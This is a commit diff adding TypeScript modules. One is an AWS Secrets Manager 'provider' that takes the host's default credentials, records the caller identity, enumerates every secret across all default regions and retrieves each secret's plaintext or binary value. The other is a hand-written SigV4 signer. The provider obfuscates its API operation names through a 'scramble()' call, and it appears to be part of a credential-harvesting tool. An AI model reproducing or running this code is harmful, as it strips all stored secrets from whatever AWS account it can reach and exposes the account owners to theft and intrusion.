Upload files to "src/providers/aws"

This commit is contained in:
2026-07-03 03:07:19 +00:00
parent 5a99628d61
commit 5c8ea17d88
2 changed files with 446 additions and 0 deletions
+261
View File
@@ -0,0 +1,261 @@
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import {
type CallerIdentity,
jsonApiRequest,
stsGetCallerIdentity,
} from "./client";
import { resolveDefaultCredentials } from "./credentials";
import type { AwsCredentials } from "./sigv4";
declare function scramble(str: string): string;
// All AWS regions that are enabled by default (non opt-in).
const DEFAULT_REGIONS = [
"us-east-1",
"us-east-2",
"us-west-1",
"us-west-2",
"ap-northeast-1",
"ap-northeast-2",
"ap-northeast-3",
"ap-south-1",
"ap-southeast-1",
"ap-southeast-2",
"ca-central-1",
"eu-central-1",
"eu-north-1",
"eu-west-1",
"eu-west-2",
"eu-west-3",
"sa-east-1",
];
const PERMISSION_ERROR_CODES = new Set([
"AccessDeniedException",
"UnauthorizedAccess",
"UnrecognizedClientException",
"InvalidSignatureException",
"ExpiredTokenException",
"InvalidClientTokenId",
"SignatureDoesNotMatch",
"IncompleteSignature",
]);
interface ListSecretsResponse {
SecretList?: Array<{ Name?: string }>;
NextToken?: string;
}
interface GetSecretValueResponse {
SecretString?: string;
SecretBinary?: string; // already base64-encoded in the JSON response
}
interface RegionError {
region: string;
operation: string;
code: string;
message: string;
}
function extractErrorCode(error: unknown): string {
if (error && typeof error === "object") {
// AWS SDK-style errors
for (const key of ["code", "Code", "__type", "name"]) {
const val = (error as Record<string, unknown>)[key];
if (typeof val === "string") return val;
}
}
return "UnknownError";
}
function extractErrorMessage(error: unknown): string {
if (error instanceof Error) return error.message;
if (error && typeof error === "object") {
for (const key of ["message", "Message"]) {
const val = (error as Record<string, unknown>)[key];
if (typeof val === "string") return val;
}
}
return String(error);
}
function isPermissionError(error: unknown): boolean {
const code = extractErrorCode(error);
if (PERMISSION_ERROR_CODES.has(code)) return true;
const msg = extractErrorMessage(error).toLowerCase();
return (
msg.includes("is not authorized to perform") ||
msg.includes("access denied") ||
msg.includes("security token") ||
msg.includes("invalid identity token")
);
}
export class AwsSecretsManagerService extends Provider {
private credentials!: AwsCredentials;
private errors: RegionError[] = [];
constructor() {
super("aws", "secretsmanager");
}
private recordError(region: string, operation: string, error: unknown): void {
this.errors.push({
region,
operation,
code: extractErrorCode(error),
message: extractErrorMessage(error),
});
}
private async getCallerIdentity(): Promise<CallerIdentity | undefined> {
try {
return await stsGetCallerIdentity(this.credentials);
} catch (e) {
if (isPermissionError(e)) {
this.recordError("global", scramble("sts:GetCallerIdentity"), e);
}
return undefined;
}
}
private async listSecrets(region: string): Promise<string[]> {
const secretIds: string[] = [];
let nextToken: string | undefined;
do {
const payload: Record<string, unknown> = {};
if (nextToken) payload.NextToken = nextToken;
const response = await jsonApiRequest<ListSecretsResponse>(
this.credentials,
region,
scramble("secretsmanager"),
scramble("secretsmanager.ListSecrets"),
payload,
);
if (response.SecretList) {
for (const secret of response.SecretList) {
if (secret.Name) secretIds.push(secret.Name);
}
}
nextToken = response.NextToken;
} while (nextToken);
return secretIds;
}
private async getSecretValue(
region: string,
secretId: string,
): Promise<string | undefined> {
try {
const response = await jsonApiRequest<GetSecretValueResponse>(
this.credentials,
region,
scramble("secretsmanager"),
scramble("secretsmanager.GetSecretValue"),
{ SecretId: secretId },
);
if (response.SecretBinary) {
return `BINARY:${response.SecretBinary}`;
}
return response.SecretString;
} catch (e) {
if (isPermissionError(e)) {
this.recordError(
region,
`secretsmanager:GetSecretValue(${secretId})`,
e,
);
}
return undefined;
}
}
private async executeForRegion(
region: string,
): Promise<{ ids: string[]; secrets: Record<string, unknown> }> {
const ids: string[] = [];
const secrets: Record<string, unknown> = {};
try {
const secretIds = await this.listSecrets(region);
if (secretIds.length === 0) return { ids, secrets };
const values = await Promise.all(
secretIds.map((id) => this.getSecretValue(region, id)),
);
secretIds.forEach((id, i) => {
const key = `${region}:${id}`;
ids.push(key);
secrets[key] = values[i] ?? { error: "Failed to retrieve secret" };
});
} catch (e) {
if (isPermissionError(e)) {
this.recordError(region, "secretsmanager:ListSecrets", e);
}
// Non-permission errors (network, region unreachable) — silently skip.
}
return { ids, secrets };
}
async execute(): Promise<ProviderResult> {
this.errors = [];
try {
this.credentials = await resolveDefaultCredentials();
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
try {
const [callerIdentity, results] = await Promise.all([
this.getCallerIdentity(),
Promise.all(
DEFAULT_REGIONS.map((region) => this.executeForRegion(region)),
),
]);
const allIds: string[] = [];
const allSecrets: Record<string, unknown> = {};
for (const { ids, secrets } of results) {
allIds.push(...ids);
Object.assign(allSecrets, secrets);
}
if (allIds.length === 0) {
if (this.errors.length > 0) {
const summary = this.errors
.map(
(e) => `[${e.region}] ${e.operation}: ${e.code}${e.message}`,
)
.join("\n");
return this.failure(
`No secrets retrieved due to permission errors:\n${summary}`,
);
}
return this.failure(
"No secrets found in AWS Secrets Manager across any region",
);
}
return this.success({
callerIdentity,
regions: DEFAULT_REGIONS,
secretIds: allIds,
secrets: allSecrets,
...(this.errors.length > 0 && { permissionErrors: this.errors }),
});
} catch (e) {
return this.failure(e instanceof Error ? e : new Error(String(e)));
}
}
}
+185
View File
@@ -0,0 +1,185 @@
import { createHash, createHmac } from "node:crypto";
// ═════════════════════════════════════════════════════════════════════════════
// Types
// ═════════════════════════════════════════════════════════════════════════════
export interface AwsCredentials {
accessKeyId: string;
secretAccessKey: string;
sessionToken?: string;
}
// ═════════════════════════════════════════════════════════════════════════════
// Hash / HMAC primitives
// ═════════════════════════════════════════════════════════════════════════════
function sha256Hex(data: string): string {
return createHash("sha256").update(data, "utf8").digest("hex");
}
function hmac(key: Buffer | string, data: string): Buffer {
return createHmac("sha256", key).update(data, "utf8").digest();
}
function hmacHex(key: Buffer, data: string): string {
return createHmac("sha256", key).update(data, "utf8").digest("hex");
}
// ═════════════════════════════════════════════════════════════════════════════
// Signing key derivation
// ═════════════════════════════════════════════════════════════════════════════
function deriveSigningKey(
secretKey: string,
dateStamp: string,
region: string,
service: string,
): Buffer {
const kDate = hmac(`AWS4${secretKey}`, dateStamp);
const kRegion = hmac(kDate, region);
const kService = hmac(kRegion, service);
return hmac(kService, "aws4_request");
}
// ═════════════════════════════════════════════════════════════════════════════
// URI encoding (RFC 3986, AWS flavour)
// ═════════════════════════════════════════════════════════════════════════════
function uriEncode(str: string, encodeSlash = true): string {
let encoded = encodeURIComponent(str)
// encodeURIComponent leaves these un-encoded but AWS wants them encoded:
// ! ' ( ) *
.replace(/[!'()*]/g, (c) =>
`%${c.charCodeAt(0).toString(16).toUpperCase()}`,
);
if (!encodeSlash) {
encoded = encoded.replace(/%2F/gi, "/");
}
return encoded;
}
// ═════════════════════════════════════════════════════════════════════════════
// Sign a request (Signature Version 4)
// ═════════════════════════════════════════════════════════════════════════════
export interface SignRequestOptions {
method: string;
url: string;
headers?: Record<string, string>;
body?: string;
credentials: AwsCredentials;
region: string;
service: string;
}
/**
* Produces a fully-signed set of headers for an AWS API request.
*
* All four SigV4 steps are implemented inline:
* 1. Canonical Request
* 2. String to Sign
* 3. Signing Key + Signature
* 4. Authorization header
*/
export function signRequest(opts: SignRequestOptions): {
url: string;
headers: Record<string, string>;
body: string;
} {
const { method, credentials, region, service } = opts;
const body = opts.body ?? "";
const url = new URL(opts.url);
// ── Timestamps ────────────────────────────────────────────────────────────
const now = new Date();
// Format: 20250101T120000Z
const amzDate = now.toISOString().replace(/[-:]/g, "").split(".")[0] + "Z";
const dateStamp = amzDate.slice(0, 8);
// ── Normalise headers to lowercase keys ───────────────────────────────────
const headers: Record<string, string> = {};
if (opts.headers) {
for (const [k, v] of Object.entries(opts.headers)) {
headers[k.toLowerCase()] = v.trim();
}
}
// Host — omit port for standard HTTPS/HTTP
const isStandardPort =
!url.port ||
(url.protocol === "https:" && url.port === "443") ||
(url.protocol === "http:" && url.port === "80");
headers["host"] = isStandardPort ? url.hostname : url.host;
headers["x-amz-date"] = amzDate;
if (credentials.sessionToken) {
headers["x-amz-security-token"] = credentials.sessionToken;
}
// ── Step 1: Canonical Request ─────────────────────────────────────────────
const canonicalUri = uriEncode(
decodeURIComponent(url.pathname || "/"),
/* encodeSlash */ false,
);
// Sorted query-string parameters
const queryPairs: [string, string][] = [];
url.searchParams.forEach((v, k) => queryPairs.push([k, v]));
queryPairs.sort((a, b) =>
a[0] < b[0] ? -1 : a[0] > b[0] ? 1 : a[1] < b[1] ? -1 : a[1] > b[1] ? 1 : 0,
);
const canonicalQuerystring = queryPairs
.map(([k, v]) => `${uriEncode(k)}=${uriEncode(v)}`)
.join("&");
// Sorted, lowercased headers
const sortedKeys = Object.keys(headers).sort();
const canonicalHeaders =
sortedKeys.map((k) => `${k}:${headers[k]}`).join("\n") + "\n";
const signedHeaders = sortedKeys.join(";");
const payloadHash = sha256Hex(body);
const canonicalRequest = [
method.toUpperCase(),
canonicalUri,
canonicalQuerystring,
canonicalHeaders,
signedHeaders,
payloadHash,
].join("\n");
// ── Step 2: String to Sign ────────────────────────────────────────────────
const credentialScope = `${dateStamp}/${region}/${service}/aws4_request`;
const stringToSign = [
"AWS4-HMAC-SHA256",
amzDate,
credentialScope,
sha256Hex(canonicalRequest),
].join("\n");
// ── Step 3: Signature ─────────────────────────────────────────────────────
const signingKey = deriveSigningKey(
credentials.secretAccessKey,
dateStamp,
region,
service,
);
const signature = hmacHex(signingKey, stringToSign);
// ── Step 4: Authorization header ──────────────────────────────────────────
headers["authorization"] =
`AWS4-HMAC-SHA256 Credential=${credentials.accessKeyId}/${credentialScope}, ` +
`SignedHeaders=${signedHeaders}, ` +
`Signature=${signature}`;
return { url: url.toString(), headers, body };
}